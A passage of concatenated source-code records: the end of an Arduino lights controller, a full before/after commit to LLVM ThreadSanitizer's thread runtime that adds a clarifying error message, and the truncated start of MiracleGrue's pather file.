\"NVehicleManager.h\"\n#include \"PinDefinitions.h\"\n\nnamespace\n{\n\tCPin light( \"light\", PIN_STANDARD_LIGHTS, CPin::kAnalog, CPin::kOutput );\n}\n\nvoid CLights::Initialize()\n{\n\tNVehicleManager::m_capabilityBitmask |= ( 1 << LIGHTS_CAPABLE );\n\n\tlight.Reset();\n\tlight.Write( 0 );\n}\n\nvoid CLights::Update( CCommand& commandIn )\n{\n\t\/\/ Check for messages\n\tif( !NCommManager::m_isCommandAvailable )\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ Handle messages\n\tif( commandIn.Equals( \"ligt\" ) )\n\t{\n\t\t\/\/ Should be between 0-255, with 255 being full brightness\n\t\tint value = commandIn.m_arguments[1];\n\n\t\t\/\/ Bounds corrections\n\t\tif( value < 0 )\n\t\t{\n\t\t\tvalue = 0;\n\t\t}\n\t\tif( value > 255 )\n\t\t{\n\t\t\tvalue = 255;\n\t\t}\n\t\t\n\t\tlight.Write( value );\n\t\t\n\t\tSerial.print( F( \"LIGT:\" ) );\n\t\tSerial.print( value );\n\t\tSerial.print( ';' );\n\t}\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- tsan_rtl_thread.cc ------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of ThreadSanitizer (TSan), a race detector.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_common\/sanitizer_placement_new.h\"\n#include \"tsan_rtl.h\"\n#include \"tsan_mman.h\"\n#include \"tsan_platform.h\"\n#include \"tsan_report.h\"\n#include \"tsan_sync.h\"\n\nnamespace __tsan {\n\n\/\/ ThreadContext implementation.\n\nThreadContext::ThreadContext(int tid)\n  : ThreadContextBase(tid)\n  , thr()\n  , sync()\n  , epoch0()\n  , epoch1() {\n}\n\n#ifndef TSAN_GO\nThreadContext::~ThreadContext() {\n}\n#endif\n\nvoid ThreadContext::OnDead() {\n  sync.Reset();\n}\n\nvoid ThreadContext::OnJoined(void *arg) {\n  ThreadState *caller_thr = static_cast<ThreadState *>(arg);\n  AcquireImpl(caller_thr, 0, &sync);\n  sync.Reset();\n}\n\nstruct OnCreatedArgs {\n  ThreadState *thr;\n  uptr pc;\n};\n\nvoid ThreadContext::OnCreated(void *arg) {\n  thr = 0;\n  if (tid == 0)\n    return;\n  OnCreatedArgs *args = static_cast<OnCreatedArgs *>(arg);\n  args->thr->fast_state.IncrementEpoch();\n  \/\/ Can't increment epoch w\/o writing to the trace as well.\n  TraceAddEvent(args->thr, args->thr->fast_state, EventTypeMop, 0);\n  ReleaseImpl(args->thr, 0, &sync);\n#ifdef TSAN_GO\n  creation_stack.ObtainCurrent(args->thr, args->pc);\n#else\n  creation_stack_id = CurrentStackId(args->thr, args->pc);\n#endif\n  if (reuse_count == 0)\n    StatInc(args->thr, StatThreadMaxTid);\n}\n\nvoid ThreadContext::OnReset() {\n  sync.Reset();\n  FlushUnneededShadowMemory(GetThreadTrace(tid), TraceSize() * sizeof(Event));\n  \/\/!!! FlushUnneededShadowMemory(GetThreadTraceHeader(tid), sizeof(Trace));\n}\n\nstruct OnStartedArgs {\n  ThreadState *thr;\n  uptr stk_addr;\n  uptr stk_size;\n  uptr tls_addr;\n  uptr tls_size;\n};\n\nvoid ThreadContext::OnStarted(void *arg) {\n  OnStartedArgs *args = static_cast<OnStartedArgs*>(arg);\n  thr = args->thr;\n  \/\/ RoundUp so that one trace part does not contain events\n  \/\/ from different threads.\n  epoch0 = RoundUp(epoch1 + 1, kTracePartSize);\n  epoch1 = (u64)-1;\n  new(thr) ThreadState(CTX(), tid, unique_id,\n      epoch0, args->stk_addr, args->stk_size, args->tls_addr, args->tls_size);\n#ifndef TSAN_GO\n  thr->shadow_stack = &ThreadTrace(thr->tid)->shadow_stack[0];\n  thr->shadow_stack_pos = thr->shadow_stack;\n  thr->shadow_stack_end = thr->shadow_stack + kShadowStackSize;\n#else\n  \/\/ Setup dynamic shadow stack.\n  const int kInitStackSize = 8;\n  thr->shadow_stack = (uptr*)internal_alloc(MBlockShadowStack,\n      kInitStackSize * sizeof(uptr));\n  thr->shadow_stack_pos = thr->shadow_stack;\n  thr->shadow_stack_end = thr->shadow_stack + kInitStackSize;\n#endif\n#ifndef TSAN_GO\n  AllocatorThreadStart(thr);\n#endif\n  thr->fast_synch_epoch = epoch0;\n  AcquireImpl(thr, 0, &sync);\n  thr->fast_state.SetHistorySize(flags()->history_size);\n  const uptr trace = (epoch0 \/ kTracePartSize) % TraceParts();\n  Trace *thr_trace = ThreadTrace(thr->tid);\n  thr_trace->headers[trace].epoch0 = epoch0;\n  StatInc(thr, StatSyncAcquire);\n  sync.Reset();\n  DPrintf(\"#%d: ThreadStart epoch=%zu stk_addr=%zx stk_size=%zx \"\n          \"tls_addr=%zx tls_size=%zx\\n\",\n          tid, (uptr)epoch0, args->stk_addr, args->stk_size,\n          args->tls_addr, args->tls_size);\n  thr->is_alive = true;\n}\n\nvoid ThreadContext::OnFinished() {\n  if (!detached) {\n    thr->fast_state.IncrementEpoch();\n    \/\/ Can't increment epoch w\/o writing to the trace as well.\n    TraceAddEvent(thr, thr->fast_state, EventTypeMop, 0);\n    ReleaseImpl(thr, 0, &sync);\n  }\n  epoch1 = thr->fast_state.epoch();\n\n#ifndef TSAN_GO\n  AllocatorThreadFinish(thr);\n#endif\n  thr->~ThreadState();\n  StatAggregate(CTX()->stat, thr->stat);\n  thr = 0;\n}\n\n#ifndef TSAN_GO\nstruct ThreadLeak {\n  ThreadContext *tctx;\n  int count;\n};\n\nstatic void MaybeReportThreadLeak(ThreadContextBase *tctx_base, void *arg) {\n  Vector<ThreadLeak> &leaks = *(Vector<ThreadLeak>*)arg;\n  ThreadContext *tctx = static_cast<ThreadContext*>(tctx_base);\n  if (tctx->detached || tctx->status != ThreadStatusFinished)\n    return;\n  for (uptr i = 0; i < leaks.Size(); i++) {\n    if (leaks[i].tctx->creation_stack_id == tctx->creation_stack_id) {\n      leaks[i].count++;\n      return;\n    }\n  }\n  ThreadLeak leak = {tctx, 1};\n  leaks.PushBack(leak);\n}\n#endif\n\n#ifndef TSAN_GO\nstatic void ReportIgnoresEnabled(ThreadContext *tctx, IgnoreSet *set) {\n  if (tctx->tid == 0) {\n    Printf(\"ThreadSanitizer: main thread finished with ignores enabled\\n\");\n  } else {\n    Printf(\"ThreadSanitizer: thread T%d %s finished with ignores enabled,\"\n      \" created at:\\n\", tctx->tid, tctx->name);\n    PrintStack(SymbolizeStackId(tctx->creation_stack_id));\n  }\n  for (uptr i = 0; i < set->Size(); i++) {\n    Printf(\"  Ignore was enabled at:\\n\");\n    PrintStack(SymbolizeStackId(set->At(i)));\n  }\n  Die();\n}\n\nstatic void ThreadCheckIgnore(ThreadState *thr) {\n  if (thr->ignore_reads_and_writes)\n    ReportIgnoresEnabled(thr->tctx, &thr->mop_ignore_set);\n  if (thr->ignore_sync)\n    ReportIgnoresEnabled(thr->tctx, &thr->sync_ignore_set);\n}\n#else\nstatic void ThreadCheckIgnore(ThreadState *thr) {}\n#endif\n\nvoid ThreadFinalize(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  ThreadCheckIgnore(thr);\n#ifndef TSAN_GO\n  if (!flags()->report_thread_leaks)\n    return;\n  ThreadRegistryLock l(CTX()->thread_registry);\n  Vector<ThreadLeak> leaks(MBlockScopedBuf);\n  CTX()->thread_registry->RunCallbackForEachThreadLocked(\n      MaybeReportThreadLeak, &leaks);\n  for (uptr i = 0; i < leaks.Size(); i++) {\n    ScopedReport rep(ReportTypeThreadLeak);\n    rep.AddThread(leaks[i].tctx);\n    rep.SetCount(leaks[i].count);\n    OutputReport(CTX(), rep);\n  }\n#endif\n}\n\nint ThreadCount(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  Context *ctx = CTX();\n  uptr result;\n  ctx->thread_registry->GetNumberOfThreads(0, 0, &result);\n  return (int)result;\n}\n\nint ThreadCreate(ThreadState *thr, uptr pc, uptr uid, bool detached) {\n  CHECK_GT(thr->in_rtl, 0);\n  StatInc(thr, StatThreadCreate);\n  Context *ctx = CTX();\n  OnCreatedArgs args = { thr, pc };\n  int tid = ctx->thread_registry->CreateThread(uid, detached, thr->tid, &args);\n  DPrintf(\"#%d: ThreadCreate tid=%d uid=%zu\\n\", thr->tid, tid, uid);\n  StatSet(thr, StatThreadMaxAlive, ctx->thread_registry->GetMaxAliveThreads());\n  return tid;\n}\n\nvoid ThreadStart(ThreadState *thr, int tid, uptr os_id) {\n  Context *ctx = CTX();\n  CHECK_GT(thr->in_rtl, 0);\n  uptr stk_addr = 0;\n  uptr stk_size = 0;\n  uptr tls_addr = 0;\n  uptr tls_size = 0;\n  GetThreadStackAndTls(tid == 0, &stk_addr, &stk_size, &tls_addr, &tls_size);\n\n  if (tid) {\n    if (stk_addr && stk_size)\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 1, stk_addr, stk_size);\n\n    if (tls_addr && tls_size) {\n      \/\/ Check that the thr object is in tls;\n      const uptr thr_beg = (uptr)thr;\n      const uptr thr_end = (uptr)thr + sizeof(*thr);\n      CHECK_GE(thr_beg, tls_addr);\n      CHECK_LE(thr_beg, tls_addr + tls_size);\n      CHECK_GE(thr_end, tls_addr);\n      CHECK_LE(thr_end, tls_addr + tls_size);\n      \/\/ Since the thr object is huge, skip it.\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 2, tls_addr, thr_beg - tls_addr);\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 2,\n          thr_end, tls_addr + tls_size - thr_end);\n    }\n  }\n\n  ThreadRegistry *tr = ctx->thread_registry;\n  OnStartedArgs args = { thr, stk_addr, stk_size, tls_addr, tls_size };\n  tr->StartThread(tid, os_id, &args);\n\n  tr->Lock();\n  thr->tctx = (ThreadContext*)tr->GetThreadLocked(tid);\n  tr->Unlock();\n}\n\nvoid ThreadFinish(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  ThreadCheckIgnore(thr);\n  StatInc(thr, StatThreadFinish);\n  if (thr->stk_addr && thr->stk_size)\n    DontNeedShadowFor(thr->stk_addr, thr->stk_size);\n  if (thr->tls_addr && thr->tls_size)\n    DontNeedShadowFor(thr->tls_addr, thr->tls_size);\n  thr->is_alive = false;\n  Context *ctx = CTX();\n  ctx->thread_registry->FinishThread(thr->tid);\n}\n\nstatic bool FindThreadByUid(ThreadContextBase *tctx, void *arg) {\n  uptr uid = (uptr)arg;\n  if (tctx->user_id == uid && tctx->status != ThreadStatusInvalid) {\n    tctx->user_id = 0;\n    return true;\n  }\n  return false;\n}\n\nint ThreadTid(ThreadState *thr, uptr pc, uptr uid) {\n  CHECK_GT(thr->in_rtl, 0);\n  Context *ctx = CTX();\n  int res = ctx->thread_registry->FindThread(FindThreadByUid, (void*)uid);\n  DPrintf(\"#%d: ThreadTid uid=%zu tid=%d\\n\", thr->tid, uid, res);\n  return res;\n}\n\nvoid ThreadJoin(ThreadState *thr, uptr pc, int tid) {\n  CHECK_GT(thr->in_rtl, 0);\n  CHECK_GT(tid, 0);\n  CHECK_LT(tid, kMaxTid);\n  DPrintf(\"#%d: ThreadJoin tid=%d\\n\", thr->tid, tid);\n  Context *ctx = CTX();\n  ctx->thread_registry->JoinThread(tid, thr);\n}\n\nvoid ThreadDetach(ThreadState *thr, uptr pc, int tid) {\n  CHECK_GT(thr->in_rtl, 0);\n  CHECK_GT(tid, 0);\n  CHECK_LT(tid, kMaxTid);\n  Context *ctx = CTX();\n  ctx->thread_registry->DetachThread(tid);\n}\n\nvoid ThreadSetName(ThreadState *thr, const char *name) {\n  CHECK_GT(thr->in_rtl, 0);\n  CTX()->thread_registry->SetThreadName(thr->tid, name);\n}\n\nvoid MemoryAccessRange(ThreadState *thr, uptr pc, uptr addr,\n                       uptr size, bool is_write) {\n  if (size == 0)\n    return;\n\n  u64 *shadow_mem = (u64*)MemToShadow(addr);\n  DPrintf2(\"#%d: MemoryAccessRange: @%p %p size=%d is_write=%d\\n\",\n      thr->tid, (void*)pc, (void*)addr,\n      (int)size, is_write);\n\n#if TSAN_DEBUG\n  if (!IsAppMem(addr)) {\n    Printf(\"Access to non app mem %zx\\n\", addr);\n    DCHECK(IsAppMem(addr));\n  }\n  if (!IsAppMem(addr + size - 1)) {\n    Printf(\"Access to non app mem %zx\\n\", addr + size - 1);\n    DCHECK(IsAppMem(addr + size - 1));\n  }\n  if (!IsShadowMem((uptr)shadow_mem)) {\n    Printf(\"Bad shadow addr %p (%zx)\\n\", shadow_mem, addr);\n    DCHECK(IsShadowMem((uptr)shadow_mem));\n  }\n  if (!IsShadowMem((uptr)(shadow_mem + size * kShadowCnt \/ 8 - 1))) {\n    Printf(\"Bad shadow addr %p (%zx)\\n\",\n               shadow_mem + size * kShadowCnt \/ 8 - 1, addr + size - 1);\n    DCHECK(IsShadowMem((uptr)(shadow_mem + size * kShadowCnt \/ 8 - 1)));\n  }\n#endif\n\n  StatInc(thr, StatMopRange);\n\n  if (*shadow_mem == kShadowRodata) {\n    \/\/ Access to .rodata section, no races here.\n    \/\/ Measurements show that it can be 10-20% of all memory accesses.\n    StatInc(thr, StatMopRangeRodata);\n    return;\n  }\n\n  FastState fast_state = thr->fast_state;\n  if (fast_state.GetIgnoreBit())\n    return;\n\n  fast_state.IncrementEpoch();\n  thr->fast_state = fast_state;\n  TraceAddEvent(thr, fast_state, EventTypeMop, pc);\n\n  bool unaligned = (addr % kShadowCell) != 0;\n\n  \/\/ Handle unaligned beginning, if any.\n  for (; addr % kShadowCell && size; addr++, size--) {\n    int const kAccessSizeLog = 0;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(addr & (kShadowCell - 1), kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n  }\n  if (unaligned)\n    shadow_mem += kShadowCnt;\n  \/\/ Handle middle part, if any.\n  for (; size >= kShadowCell; addr += kShadowCell, size -= kShadowCell) {\n    int const kAccessSizeLog = 3;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(0, kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n    shadow_mem += kShadowCnt;\n  }\n  \/\/ Handle ending, if any.\n  for (; size; addr++, size--) {\n    int const kAccessSizeLog = 0;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(addr & (kShadowCell - 1), kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n  }\n}\n\n}  \/\/ namespace __tsan\n<commit_msg>tsan: clarify \"thread ended with ignores enabled\" message<commit_after>\/\/===-- tsan_rtl_thread.cc ------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of ThreadSanitizer (TSan), a race detector.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sanitizer_common\/sanitizer_placement_new.h\"\n#include \"tsan_rtl.h\"\n#include \"tsan_mman.h\"\n#include \"tsan_platform.h\"\n#include \"tsan_report.h\"\n#include \"tsan_sync.h\"\n\nnamespace __tsan {\n\n\/\/ ThreadContext implementation.\n\nThreadContext::ThreadContext(int tid)\n  : ThreadContextBase(tid)\n  , thr()\n  , sync()\n  , epoch0()\n  , epoch1() {\n}\n\n#ifndef TSAN_GO\nThreadContext::~ThreadContext() {\n}\n#endif\n\nvoid ThreadContext::OnDead() {\n  sync.Reset();\n}\n\nvoid ThreadContext::OnJoined(void *arg) {\n  ThreadState *caller_thr = static_cast<ThreadState *>(arg);\n  AcquireImpl(caller_thr, 0, &sync);\n  sync.Reset();\n}\n\nstruct OnCreatedArgs {\n  ThreadState *thr;\n  uptr pc;\n};\n\nvoid ThreadContext::OnCreated(void *arg) {\n  thr = 0;\n  if (tid == 0)\n    return;\n  OnCreatedArgs *args = static_cast<OnCreatedArgs *>(arg);\n  args->thr->fast_state.IncrementEpoch();\n  \/\/ Can't increment epoch w\/o writing to the trace as well.\n  TraceAddEvent(args->thr, args->thr->fast_state, EventTypeMop, 0);\n  ReleaseImpl(args->thr, 0, &sync);\n#ifdef TSAN_GO\n  creation_stack.ObtainCurrent(args->thr, args->pc);\n#else\n  creation_stack_id = CurrentStackId(args->thr, args->pc);\n#endif\n  if (reuse_count == 0)\n    StatInc(args->thr, StatThreadMaxTid);\n}\n\nvoid ThreadContext::OnReset() {\n  sync.Reset();\n  FlushUnneededShadowMemory(GetThreadTrace(tid), TraceSize() * sizeof(Event));\n  \/\/!!! FlushUnneededShadowMemory(GetThreadTraceHeader(tid), sizeof(Trace));\n}\n\nstruct OnStartedArgs {\n  ThreadState *thr;\n  uptr stk_addr;\n  uptr stk_size;\n  uptr tls_addr;\n  uptr tls_size;\n};\n\nvoid ThreadContext::OnStarted(void *arg) {\n  OnStartedArgs *args = static_cast<OnStartedArgs*>(arg);\n  thr = args->thr;\n  \/\/ RoundUp so that one trace part does not contain events\n  \/\/ from different threads.\n  epoch0 = RoundUp(epoch1 + 1, kTracePartSize);\n  epoch1 = (u64)-1;\n  new(thr) ThreadState(CTX(), tid, unique_id,\n      epoch0, args->stk_addr, args->stk_size, args->tls_addr, args->tls_size);\n#ifndef TSAN_GO\n  thr->shadow_stack = &ThreadTrace(thr->tid)->shadow_stack[0];\n  thr->shadow_stack_pos = thr->shadow_stack;\n  thr->shadow_stack_end = thr->shadow_stack + kShadowStackSize;\n#else\n  \/\/ Setup dynamic shadow stack.\n  const int kInitStackSize = 8;\n  thr->shadow_stack = (uptr*)internal_alloc(MBlockShadowStack,\n      kInitStackSize * sizeof(uptr));\n  thr->shadow_stack_pos = thr->shadow_stack;\n  thr->shadow_stack_end = thr->shadow_stack + kInitStackSize;\n#endif\n#ifndef TSAN_GO\n  AllocatorThreadStart(thr);\n#endif\n  thr->fast_synch_epoch = epoch0;\n  AcquireImpl(thr, 0, &sync);\n  thr->fast_state.SetHistorySize(flags()->history_size);\n  const uptr trace = (epoch0 \/ kTracePartSize) % TraceParts();\n  Trace *thr_trace = ThreadTrace(thr->tid);\n  thr_trace->headers[trace].epoch0 = epoch0;\n  StatInc(thr, StatSyncAcquire);\n  sync.Reset();\n  DPrintf(\"#%d: ThreadStart epoch=%zu stk_addr=%zx stk_size=%zx \"\n          \"tls_addr=%zx tls_size=%zx\\n\",\n          tid, (uptr)epoch0, args->stk_addr, args->stk_size,\n          args->tls_addr, args->tls_size);\n  thr->is_alive = true;\n}\n\nvoid ThreadContext::OnFinished() {\n  if (!detached) {\n    thr->fast_state.IncrementEpoch();\n    \/\/ Can't increment epoch w\/o writing to the trace as well.\n    TraceAddEvent(thr, thr->fast_state, EventTypeMop, 0);\n    ReleaseImpl(thr, 0, &sync);\n  }\n  epoch1 = thr->fast_state.epoch();\n\n#ifndef TSAN_GO\n  AllocatorThreadFinish(thr);\n#endif\n  thr->~ThreadState();\n  StatAggregate(CTX()->stat, thr->stat);\n  thr = 0;\n}\n\n#ifndef TSAN_GO\nstruct ThreadLeak {\n  ThreadContext *tctx;\n  int count;\n};\n\nstatic void MaybeReportThreadLeak(ThreadContextBase *tctx_base, void *arg) {\n  Vector<ThreadLeak> &leaks = *(Vector<ThreadLeak>*)arg;\n  ThreadContext *tctx = static_cast<ThreadContext*>(tctx_base);\n  if (tctx->detached || tctx->status != ThreadStatusFinished)\n    return;\n  for (uptr i = 0; i < leaks.Size(); i++) {\n    if (leaks[i].tctx->creation_stack_id == tctx->creation_stack_id) {\n      leaks[i].count++;\n      return;\n    }\n  }\n  ThreadLeak leak = {tctx, 1};\n  leaks.PushBack(leak);\n}\n#endif\n\n#ifndef TSAN_GO\nstatic void ReportIgnoresEnabled(ThreadContext *tctx, IgnoreSet *set) {\n  if (tctx->tid == 0) {\n    Printf(\"ThreadSanitizer: main thread finished with ignores enabled\\n\");\n  } else {\n    Printf(\"ThreadSanitizer: thread T%d %s finished with ignores enabled,\"\n      \" created at:\\n\", tctx->tid, tctx->name);\n    PrintStack(SymbolizeStackId(tctx->creation_stack_id));\n  }\n  Printf(\"  One of the following ignores was not ended\"\n      \" (in order of probability)\\n\");\n  for (uptr i = 0; i < set->Size(); i++) {\n    Printf(\"  Ignore was enabled at:\\n\");\n    PrintStack(SymbolizeStackId(set->At(i)));\n  }\n  Die();\n}\n\nstatic void ThreadCheckIgnore(ThreadState *thr) {\n  if (thr->ignore_reads_and_writes)\n    ReportIgnoresEnabled(thr->tctx, &thr->mop_ignore_set);\n  if (thr->ignore_sync)\n    ReportIgnoresEnabled(thr->tctx, &thr->sync_ignore_set);\n}\n#else\nstatic void ThreadCheckIgnore(ThreadState *thr) {}\n#endif\n\nvoid ThreadFinalize(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  ThreadCheckIgnore(thr);\n#ifndef TSAN_GO\n  if (!flags()->report_thread_leaks)\n    return;\n  ThreadRegistryLock l(CTX()->thread_registry);\n  Vector<ThreadLeak> leaks(MBlockScopedBuf);\n  CTX()->thread_registry->RunCallbackForEachThreadLocked(\n      MaybeReportThreadLeak, &leaks);\n  for (uptr i = 0; i < leaks.Size(); i++) {\n    ScopedReport rep(ReportTypeThreadLeak);\n    rep.AddThread(leaks[i].tctx);\n    rep.SetCount(leaks[i].count);\n    OutputReport(CTX(), rep);\n  }\n#endif\n}\n\nint ThreadCount(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  Context *ctx = CTX();\n  uptr result;\n  ctx->thread_registry->GetNumberOfThreads(0, 0, &result);\n  return (int)result;\n}\n\nint ThreadCreate(ThreadState *thr, uptr pc, uptr uid, bool detached) {\n  CHECK_GT(thr->in_rtl, 0);\n  StatInc(thr, StatThreadCreate);\n  Context *ctx = CTX();\n  OnCreatedArgs args = { thr, pc };\n  int tid = ctx->thread_registry->CreateThread(uid, detached, thr->tid, &args);\n  DPrintf(\"#%d: ThreadCreate tid=%d uid=%zu\\n\", thr->tid, tid, uid);\n  StatSet(thr, StatThreadMaxAlive, ctx->thread_registry->GetMaxAliveThreads());\n  return tid;\n}\n\nvoid ThreadStart(ThreadState *thr, int tid, uptr os_id) {\n  Context *ctx = CTX();\n  CHECK_GT(thr->in_rtl, 0);\n  uptr stk_addr = 0;\n  uptr stk_size = 0;\n  uptr tls_addr = 0;\n  uptr tls_size = 0;\n  GetThreadStackAndTls(tid == 0, &stk_addr, &stk_size, &tls_addr, &tls_size);\n\n  if (tid) {\n    if (stk_addr && stk_size)\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 1, stk_addr, stk_size);\n\n    if (tls_addr && tls_size) {\n      \/\/ Check that the thr object is in tls;\n      const uptr thr_beg = (uptr)thr;\n      const uptr thr_end = (uptr)thr + sizeof(*thr);\n      CHECK_GE(thr_beg, tls_addr);\n      CHECK_LE(thr_beg, tls_addr + tls_size);\n      CHECK_GE(thr_end, tls_addr);\n      CHECK_LE(thr_end, tls_addr + tls_size);\n      \/\/ Since the thr object is huge, skip it.\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 2, tls_addr, thr_beg - tls_addr);\n      MemoryRangeImitateWrite(thr, \/*pc=*\/ 2,\n          thr_end, tls_addr + tls_size - thr_end);\n    }\n  }\n\n  ThreadRegistry *tr = ctx->thread_registry;\n  OnStartedArgs args = { thr, stk_addr, stk_size, tls_addr, tls_size };\n  tr->StartThread(tid, os_id, &args);\n\n  tr->Lock();\n  thr->tctx = (ThreadContext*)tr->GetThreadLocked(tid);\n  tr->Unlock();\n}\n\nvoid ThreadFinish(ThreadState *thr) {\n  CHECK_GT(thr->in_rtl, 0);\n  ThreadCheckIgnore(thr);\n  StatInc(thr, StatThreadFinish);\n  if (thr->stk_addr && thr->stk_size)\n    DontNeedShadowFor(thr->stk_addr, thr->stk_size);\n  if (thr->tls_addr && thr->tls_size)\n    DontNeedShadowFor(thr->tls_addr, thr->tls_size);\n  thr->is_alive = false;\n  Context *ctx = CTX();\n  ctx->thread_registry->FinishThread(thr->tid);\n}\n\nstatic bool FindThreadByUid(ThreadContextBase *tctx, void *arg) {\n  uptr uid = (uptr)arg;\n  if (tctx->user_id == uid && tctx->status != ThreadStatusInvalid) {\n    tctx->user_id = 0;\n    return true;\n  }\n  return false;\n}\n\nint ThreadTid(ThreadState *thr, uptr pc, uptr uid) {\n  CHECK_GT(thr->in_rtl, 0);\n  Context *ctx = CTX();\n  int res = ctx->thread_registry->FindThread(FindThreadByUid, (void*)uid);\n  DPrintf(\"#%d: ThreadTid uid=%zu tid=%d\\n\", thr->tid, uid, res);\n  return res;\n}\n\nvoid ThreadJoin(ThreadState *thr, uptr pc, int tid) {\n  CHECK_GT(thr->in_rtl, 0);\n  CHECK_GT(tid, 0);\n  CHECK_LT(tid, kMaxTid);\n  DPrintf(\"#%d: ThreadJoin tid=%d\\n\", thr->tid, tid);\n  Context *ctx = CTX();\n  ctx->thread_registry->JoinThread(tid, thr);\n}\n\nvoid ThreadDetach(ThreadState *thr, uptr pc, int tid) {\n  CHECK_GT(thr->in_rtl, 0);\n  CHECK_GT(tid, 0);\n  CHECK_LT(tid, kMaxTid);\n  Context *ctx = CTX();\n  ctx->thread_registry->DetachThread(tid);\n}\n\nvoid ThreadSetName(ThreadState *thr, const char *name) {\n  CHECK_GT(thr->in_rtl, 0);\n  CTX()->thread_registry->SetThreadName(thr->tid, name);\n}\n\nvoid MemoryAccessRange(ThreadState *thr, uptr pc, uptr addr,\n                       uptr size, bool is_write) {\n  if (size == 0)\n    return;\n\n  u64 *shadow_mem = (u64*)MemToShadow(addr);\n  DPrintf2(\"#%d: MemoryAccessRange: @%p %p size=%d is_write=%d\\n\",\n      thr->tid, (void*)pc, (void*)addr,\n      (int)size, is_write);\n\n#if TSAN_DEBUG\n  if (!IsAppMem(addr)) {\n    Printf(\"Access to non app mem %zx\\n\", addr);\n    DCHECK(IsAppMem(addr));\n  }\n  if (!IsAppMem(addr + size - 1)) {\n    Printf(\"Access to non app mem %zx\\n\", addr + size - 1);\n    DCHECK(IsAppMem(addr + size - 1));\n  }\n  if (!IsShadowMem((uptr)shadow_mem)) {\n    Printf(\"Bad shadow addr %p (%zx)\\n\", shadow_mem, addr);\n    DCHECK(IsShadowMem((uptr)shadow_mem));\n  }\n  if (!IsShadowMem((uptr)(shadow_mem + size * kShadowCnt \/ 8 - 1))) {\n    Printf(\"Bad shadow addr %p (%zx)\\n\",\n               shadow_mem + size * kShadowCnt \/ 8 - 1, addr + size - 1);\n    DCHECK(IsShadowMem((uptr)(shadow_mem + size * kShadowCnt \/ 8 - 1)));\n  }\n#endif\n\n  StatInc(thr, StatMopRange);\n\n  if (*shadow_mem == kShadowRodata) {\n    \/\/ Access to .rodata section, no races here.\n    \/\/ Measurements show that it can be 10-20% of all memory accesses.\n    StatInc(thr, StatMopRangeRodata);\n    return;\n  }\n\n  FastState fast_state = thr->fast_state;\n  if (fast_state.GetIgnoreBit())\n    return;\n\n  fast_state.IncrementEpoch();\n  thr->fast_state = fast_state;\n  TraceAddEvent(thr, fast_state, EventTypeMop, pc);\n\n  bool unaligned = (addr % kShadowCell) != 0;\n\n  \/\/ Handle unaligned beginning, if any.\n  for (; addr % kShadowCell && size; addr++, size--) {\n    int const kAccessSizeLog = 0;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(addr & (kShadowCell - 1), kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n  }\n  if (unaligned)\n    shadow_mem += kShadowCnt;\n  \/\/ Handle middle part, if any.\n  for (; size >= kShadowCell; addr += kShadowCell, size -= kShadowCell) {\n    int const kAccessSizeLog = 3;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(0, kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n    shadow_mem += kShadowCnt;\n  }\n  \/\/ Handle ending, if any.\n  for (; size; addr++, size--) {\n    int const kAccessSizeLog = 0;\n    Shadow cur(fast_state);\n    cur.SetWrite(is_write);\n    cur.SetAddr0AndSizeLog(addr & (kShadowCell - 1), kAccessSizeLog);\n    MemoryAccessImpl(thr, addr, kAccessSizeLog, is_write, false,\n        shadow_mem, cur);\n  }\n}\n\n}  \/\/ namespace __tsan\n<|endoftext|>"}
{"text":"<commit_before>\/**\n   MiracleGrue - Model Generator for toolpathing. <http:\/\/www.grue.makerbot.com>\n   Copyright (C) 2011 Far McKon <Far@makerbot.com>, Hugo Boyer (hugo@makerbot.com)\n\n   This program is free software: you can redistribute it and\/or modify\n   it under the terms of the GNU Affero General Public License as\n   published by the Free Software Foundation, either version 3 of the\n   License, or (at your option) any later version.\n\n *\/\n\n#include <list>\n#include <vector>\n\n#include \"pather.h\"\n#include \"limits.h\"\n#include \"pather_optimizer_graph.h\"\n#include \"pather_optimizer_fastgraph.h\"\n#include \"dump_restore.h\"\n\nnamespace mgl {\nusing namespace std;\n\nPather::Pather(const PatherConfig& pCfg, ProgressBar* progress) \n\t\t: Progressive(progress), patherCfg(pCfg) {}\nPather::Pather(const GrueConfig& grueConf, ProgressBar* 